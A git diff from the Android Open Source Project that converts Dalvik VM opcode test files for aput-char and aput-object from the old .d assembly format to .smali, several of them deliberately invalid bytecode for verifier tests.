deleted file mode 100644
index cd0384a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_5.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIC)V
-.limit regs 10
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali
new file mode 100644
index 0000000..05dc081
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_5.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.d
deleted file mode 100644
index 2a2381d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_6.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIC)V
-.limit regs 10
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali
new file mode 100644
index 0000000..ccaa66c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_6.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.d
deleted file mode 100644
index b1e4c9f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_7.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIC)V
-.limit regs 10
-
-       aput-char v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali
new file mode 100644
index 0000000..ac1f4b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_7.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 10
+
+       aput-char v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.d
deleted file mode 100644
index f78376d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_8.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CFC)V
-.limit regs 11
-
-       aput-char v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali
new file mode 100644
index 0000000..113eb9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_8.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CFC)V
+.registers 11
+
+       aput-char v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.d
deleted file mode 100644
index 1077039..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_9.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIC)V
-.limit regs 11
-
-       aput-char v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali
new file mode 100644
index 0000000..dd84f8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_9.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 11
+
+       aput-char v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.d
deleted file mode 100644
index c629f3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_1.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali
new file mode 100644
index 0000000..772d664
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_1.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.d
deleted file mode 100644
index a11e1ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_10.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 10
-
-       aput-object v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali
new file mode 100644
index 0000000..48f874b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_10.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.d
deleted file mode 100644
index 1b4f7ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_11.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 11
-
-       aput-object v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali
new file mode 100644
index 0000000..4756062
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_11.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.d
deleted file mode 100644
index 35160aa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_12.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;FLjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali
new file mode 100644
index 0000000..0fdd1d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_12.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;FLjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.d
deleted file mode 100644
index f9670ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_13.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 11
-
-       const v10, 1
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali
new file mode 100644
index 0000000..1b07440
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_13.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       const v10, 1
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.d
deleted file mode 100644
index 4e1cad0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_2.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/Integer;ILjava/lang/Integer;)V
-.limit regs 11
-
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali
new file mode 100644
index 0000000..05aa337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_2.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Integer;ILjava/lang/Integer;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.d
deleted file mode 100644
index 4b2642d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.d
+++ /dev/null
@@ -1,132 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestStubs.java
-.interface abstract dot.junit.opcodes.aput_object.d.SuperInterface
-
-.source TestStubs.java
-.interface public dot.junit.opcodes.aput_object.d.SuperInterface2
-    
-.source TestStubs.java    
-.class public dot.junit.opcodes.aput_object.d.SuperClass 
-.super java/lang/Object
-.implements dot.junit.opcodes.aput_object.d.SuperInterface
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-    
-.source TestStubs.java
-.class public dot.junit.opcodes.aput_object.d.SubClass 
-.super dot.junit.opcodes.aput_object.d.SuperClass
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/aput_object/d/SuperClass/<init>()V
-       return-void
-.end method
-
-
-.source T_aput_object_3.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 32
-
-    const v1, 0
-
-    const v0, 1
-    ; v2 = SubClass[]
-    new-array v2, v0, [Ldot/junit/opcodes/aput_object/d/SubClass;
-    
-    ; v3 =  SuperClass[]
-    new-array v3, v0, [Ldot/junit/opcodes/aput_object/d/SuperClass;
-
-    ; v4 =     SubClass
-    new-instance v4, dot/junit/opcodes/aput_object/d/SubClass
-    invoke-direct {v4}, dot/junit/opcodes/aput_object/d/SubClass/<init>()V
-
-    ; v5 =     SuperClass
-    new-instance v5, dot/junit/opcodes/aput_object/d/SuperClass
-    invoke-direct {v5}, dot/junit/opcodes/aput_object/d/SuperClass/<init>()V
-
-    ; v6 = SuperInterface[]
-    new-array v6, v0, [Ldot/junit/opcodes/aput_object/d/SuperInterface;
-
-    ; v7 =     Object[]
-    new-array v7, v0, [Ljava/lang/Object;
-    
-    ; v8 = SuperInterface2[]
-    new-array v8, v0, [Ldot/junit/opcodes/aput_object/d/SuperInterface2;
-    
-    const/4 v0, 0
-    
-; (SubClass -> SuperClass[])
-    aput-object v4, v3, v0
-    
-; (SubClass -> SuperInterface[])
-    aput-object v4, v6, v0
-    
-; (SubClass -> Object[])
-    aput-object v4, v7, v0
-        
-; !(SuperClass -> SubClass[])    
-Label10:        
-    aput-object v5, v2, v0
-Label11:    
-    goto Label2
-Label12:
-    add-int/lit8 v1, v1, 1
-    goto Label2
-        
